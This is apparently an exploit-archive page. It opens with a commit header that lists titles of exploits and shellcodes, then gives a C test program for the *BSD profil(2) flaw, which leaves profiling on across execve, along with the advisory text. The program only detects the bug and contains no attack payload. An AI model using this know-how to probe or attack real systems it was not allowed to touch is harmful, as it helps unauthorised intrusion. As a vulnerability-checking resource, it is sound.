880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
65 lines
No EOL
2.6 KiB
C
65 lines
No EOL
2.6 KiB
C
/*
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source: https://www.securityfocus.com/bid/570/info
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Some *BSD's use a profil(2) system call that dates back to "version 6" unix. This system call arranges for the kernel to sample the PC and increment an element of an array on every profile clock tick.
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The security issue stems from the fact that profiling is not turned off when a process execve(2)'s another program image.
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As the size and location of this array as well as the scale factor are under the program's control, it is possible to arrange for an arbitrary 16-bit program virtual address to be incremented on each profile clock tick.
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Although unlikely, it is theoretically possible that an attacker with local access and knowledge of the addresses used by privileged programs could construct an exploit.
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It may be that there are no candidate addresses that, when incremented, result in a security failure. However, as this can turn -1 into 0, and 0 into 1, and as security-related system calls and library functions often return either -1 or 0, this mechanism could turn system call returns of success into failure or failure into success if a program stores system call results into memory locations.
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*/
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/* This program will check to see if a given system has the profil(2) bug
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described in NetBSD Security Advisory 1999-011. If it prints `Counting!'
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then you've got it...
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At least one system (Solaris) appears to fix the security issue but
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doesn't turn off profiling unless the new image is owned by a different
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user. To check for this, you need to do something like:
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% cc profiltest.c
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% su
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# cp a.out prog.setuid
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# chown (something) prog.setuid
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# (possibly make it setuid)
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# exit
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% ./a.out
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If the program doesn't find prog.setuid, it just exec's itself; this
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gets the same result on most systems. (So: % cc profiltest.c; ./a.out)
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So far, I've only found it in BSD systems. Linux hasn't had profiling
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in the kernel for a while, so current versions should not be vulnerable. */
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#include <sys/types.h>
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#include <stdio.h>
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#include <unistd.h>
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volatile unsigned short twobins[2];
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int
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main(int ac, char **av)
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{
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if (ac == 1) {
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/* can't check the return value; on some systems it's void */
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profil((char *)twobins, sizeof twobins, (u_long)&main, 2);
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/* try a different image for uid/setuid tests */
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execl("prog.setuid", "tryroot", "-", 0);
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/* otherwise, just chain to ourself */
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execl(av[0], av[0], "-", 0);
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fprintf(stderr, "problems\n");
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exit(1);
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}
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for(;;) {
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if (twobins[0] | twobins[1]) {
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printf("Counting!\n");
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twobins[0] = twobins[1] = 0;
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}
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}
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}
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/* ross.harvey@computer.org */ |